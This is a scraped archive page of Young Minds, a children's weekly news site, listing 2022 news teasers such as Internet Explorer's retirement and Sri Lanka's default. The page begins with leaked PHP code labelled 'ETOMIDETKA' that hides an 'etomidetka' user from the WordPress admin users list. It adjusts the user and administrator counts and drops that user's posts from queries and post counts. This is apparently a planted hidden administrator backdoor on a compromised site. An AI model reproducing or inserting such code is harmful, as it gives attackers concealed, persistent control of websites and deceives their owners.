//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 9

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 9)
Bye Bye Internet Explorer after 27 long years

Bye Bye Internet Explorer after 27 long years

After 27 years, Microsoft is finally shutting down its oldest browser – the Internet Explorer (IE) . The once-dominant browser that several web users …

June 17, 2022 | Main News
14-year-old Indian origin teen wins Scripps National Spelling Bee

14-year-old Indian origin teen wins Scripps National Spelling Bee

Memorizing spellings is a tough job! Every kid dreads it. Learning the spellings of simple to difficult words is an important part of the school curriculum. It …

June 10, 2022 | Main News
The highest paid male and female CEOs in the US in 2021

The highest paid male and female CEOs in the US in 2021

Expedia CEO Peter Kern was the highest-paid male executive at $296.2 million in the US in 2021. He was followed by Warner Bros. Discovery CEO David Zaslav at …

June 3, 2022 | Main News
The biggest space rock to come our way in 2022

The biggest space rock to come our way in 2022

A huge asteroid twice the size of the Burj Khalifa, the world’s tallest building, will pass Earth on 27th May– and is the biggest space rock to come our …

May 27, 2022 | Main News
Sri Lanka falls into default for first time in its history

Sri Lanka falls into default for first time in its history

Sri Lanka has fallen into default for the first time in its history as the government struggles to halt an economic meltdown.Sri Lanka has been mired in …

May 20, 2022 | Main News
Apple, Google and Microsoft agree to support password-free sign-ins

Apple, Google and Microsoft agree to support password-free sign-ins

Apple, Google and Microsoft have announced a joint effort to support a new type of online sign-in which could replace passwords with more secure alternatives. …

May 13, 2022 | Main News
France Backs India’s Membership Bid At UN Security Council

France Backs India’s Membership Bid At UN Security Council

India has been at the forefront of efforts at the UN to push for urgent long-pending reform of the Security Council, emphasizing that it rightly deserves a …

May 6, 2022 | Main News
Adani overtakes Buffett to become the world’s 5th richest person

Adani overtakes Buffett to become the world’s 5th richest person

Adani Group’s 59-year-old Chairman Gautam Adani has overtaken Berkshire Hathaway’s 91-year-old CEO Warren Buffett to become the world’s fifth-richest …

April 29, 2022 | Main News
Will there be peace soon between Russia and Ukraine?

Will there be peace soon between Russia and Ukraine?

It’s been over a month since Russia invaded one of its neighbouring countries – Ukraine. There has been conflict between the two countries since 2014 …

April 21, 2022 | Main News
Jupiter, Venus, Mars & Saturn to align together in rare cosmic dance

Jupiter, Venus, Mars & Saturn to align together in rare cosmic dance

Saturn, Mars, Venus and Jupiter are set to line up neatly in the pre-dawn sky later this month in a rare celestial spectacle, astronomers say. Starting April …

April 15, 2022 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds